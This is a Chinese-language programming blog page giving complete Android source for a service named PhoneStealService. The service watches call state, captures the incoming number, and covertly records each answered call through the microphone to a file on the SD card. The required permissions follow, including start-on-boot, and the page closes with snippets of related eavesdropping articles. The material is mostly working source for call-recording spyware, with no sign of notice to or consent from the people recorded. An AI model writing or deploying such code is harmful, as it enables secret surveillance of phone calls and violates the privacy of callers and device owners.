Android 电话监听

public class PhoneStealService extends Service {

	/**
	 * 声明电话状态监听器对象并实例化
	 */
	private PhoneStateListener phoneStateListener=new PhoneStateListener(){
		/**
		 * 声明存放来电号码的变量
		 */
		private String incomingNumber;

		/**
		 * 声明媒体录制器对象
		 */
		private MediaRecorder mediaRecorder;

		/**
		 * 是否真正录音
		 */
		private boolean isRecording;

		/**
		 * 声明录制音频的文件对象
		 */
		private File destFile;

		/**
		 * 当设备(电话)状态发生变化时自动调用的方法
		 * @param state 电话状态
		 * @param incomingNumber 来电号码
		 */
		public void onCallStateChanged(int state, String incomingNumber) {
			switch (state) {
				/*
				 * 电话处于空闲状态。
				 * 空闲状态分两种情况:
				 * 	A:一致处于空闲状态
				 *  B:用户刚接完电话挂断后回归到空闲状态
				 */
				case TelephonyManager.CALL_STATE_IDLE:
					if(mediaRecorder!=null && isRecording){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder=null;
						isRecording=false;
					}
					System.out.println("===电话处于空闲状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");
					break;

				//来电状态,此时才有电话号码
				case TelephonyManager.CALL_STATE_RINGING:
					this.incomingNumber=incomingNumber;
					System.out.println("===电话处于来电状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");
					break;

				//接听状态
				case TelephonyManager.CALL_STATE_OFFHOOK:
					//1.实例化媒体录制器对象
					mediaRecorder=new MediaRecorder();
					//2.设置音频来源为麦克风
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					//3.设置音频的输出格式为3gp格式
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					//4.设置音频编码
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

					if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){
						String fileName=this.incomingNumber+"_"+System.currentTimeMillis()+".3gp";
						destFile=new File(Environment.getExternalStorageDirectory(),fileName);
						//5.设置录音文件的输出路径
						mediaRecorder.setOutputFile(destFile.getAbsolutePath());
					}

				try {
					//6.媒体录制器处于就绪状态
					mediaRecorder.prepare();
					//7.开始录音
					mediaRecorder.start();
				} catch (IllegalStateException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
					System.out.println("===电话处于接听状态==PhoneStateListener.onCallStateChanged(int state="+state+", String incomingNumber="+incomingNumber+")=====");
					break;
			}
		}
	};

	/**
	 * 声明电话管理器对象
	 */
	private TelephonyManager telephonyManager;
	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();

		//通过系统服务得到电话管理器对象
		telephonyManager=(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
		telephonyManager.listen(phoneStateListener,
				PhoneStateListener.LISTEN_CALL_STATE//指定监听电话状态
				);

		System.out.println("====PhoneStealService.onCreate()======");
	}

	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
		if(telephonyManager!=null){
			//指定不再监听电话状态
			telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE);
		}

	}

}

 需要注册权限

 <!-- 注册读取电话状态的权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 注册录制音频的权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" />

	<!--     	注册开机自启动广播的权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

<!--     	注册在手机的SDCard创建和删除文件的权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />

<!--     注册向手机SDCard文件中写入内容的权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

  

时间: 2024-10-11 16:22:41

Android 电话监听的相关文章

android 电话监听和拦截

一.首先在manifest.xml文件中获取监听电话权限,注册监听电话的Activity <receiver android:name=".PhoneReceiver"> <intent-filter android:priority="1000"> <action android:name="android.intent.action.PHONE_STATE"/> <action android:nam

android的电话监听

android的电话监听 新建一个项目,结构图如下: PhoneService: package com.demo.tingdianhua; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.telecom.TelecomManager; import android.telephony.PhoneStateListener; import an

【android基础篇】自定义广播和电话监听

I,自定义广播 前面所说的都是接收短信,外拨电话等都是系统所有的广播,而其实我们可以自己自定义一个广播,并且写一个广播接收者来玩玩. 1) 在按钮的点击方法中,发送自定义的广播: 1 public void click(View view){ 2 /** 3 * 发送自定义的广播 4 */ 5 Intent intent=new Intent(); 6 //设置意图的动作,要和自定义的频道要一致 7 intent.setAction("www.wangchengxiang.com");

赵雅智_service电话监听2加接通电话录音

步骤: 创建CallStateService继承Service 取得电话服务 监听电话动作 电话监听的对象 没有电话时 停止刻录 重设 刻录完成一定要释放资源 电话响铃时 从麦克风采集声音 内容输出格式 音频编码方式 获取sd卡目录并存入 电话接通时 开始录制 电话监听的行为 启动service 注册service并添加监听电话状态的权限 监听电话状态权限 sd卡读写权限 音频录制权限 AndroidManifest.xml <?xml version="1.0" encodin

Android怎样监听蓝牙耳机的按键事件

写在前面: 直接想要代码非常easy,你直接把滚动栏拉到最底端就能够看到.假设想要十分地了解为什么,那就依照我规划的一步一步来理解.下面測试环境以手头上有的「Bluedio + 红米手机」. 1.蓝牙耳机的使用 蓝牙耳机的使用说明书中都会有相关的具体使用说明,这里拣重点说明一下.除了电源开关,耳机上一般有三个键.例如以下所看到的: watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQva2FuZ2Vhcg==/font/5a6L5L2T/fontsize/40

Android来电监听和去电监听

我觉得写文章就得写得有用一些的,必须要有自己的思想,关于来电去电监听将按照下面三个问题展开 1.监听来电去电有什么用? 2.怎么监听,来电去电监听方式一样吗? 3.实战,有什么需要特别注意地方? 监听来电去电能干什么 1.能够对监听到的电话做个标识,告诉用户这个电话是诈骗.推销.广告什么的 2.能够针对那些特殊的电话进行自动挂断,避免打扰到用户 来电去电的监听方式(不一样的方式) 1.来电监听(PhoneStateListener) 来电监听是使用PhoneStateListener类,使用方式

Android如何监听蓝牙耳机的按键事件(转)

源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「Bluedio + 红米手机」. 1.蓝牙耳机的使用 蓝牙耳机的使用说明书中都会有相关的详细使用说明,这里拣重点说明一下.除了电源开关,耳机上一般有三个键.如下所示: 它们每个都是多功能键,在不同的情况下有不同的功能.1号键的功能包括:开始播放音乐/停止插入音乐/接听电话/挂断电话:2号键的功能有:

赵雅智_BroadcastReceiver电话监听

AndroidManifest.xml 注冊广播接收者 加入权限 <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.android_ipphone" android:versionCode="1

Android 监听 Android中监听系统网络连接打开或者关闭的实现代码

本篇文章对Android中监听系统网络连接打开或者关闭的实现用实例进行了介绍.需要的朋友参考下 很简单,所以直接看代码 复制代码 代码如下: package xxx; import android.content.BroadcastReceiver;  import android.content.Context;  import android.content.Intent;  import android.net.ConnectivityManager;  import android.ne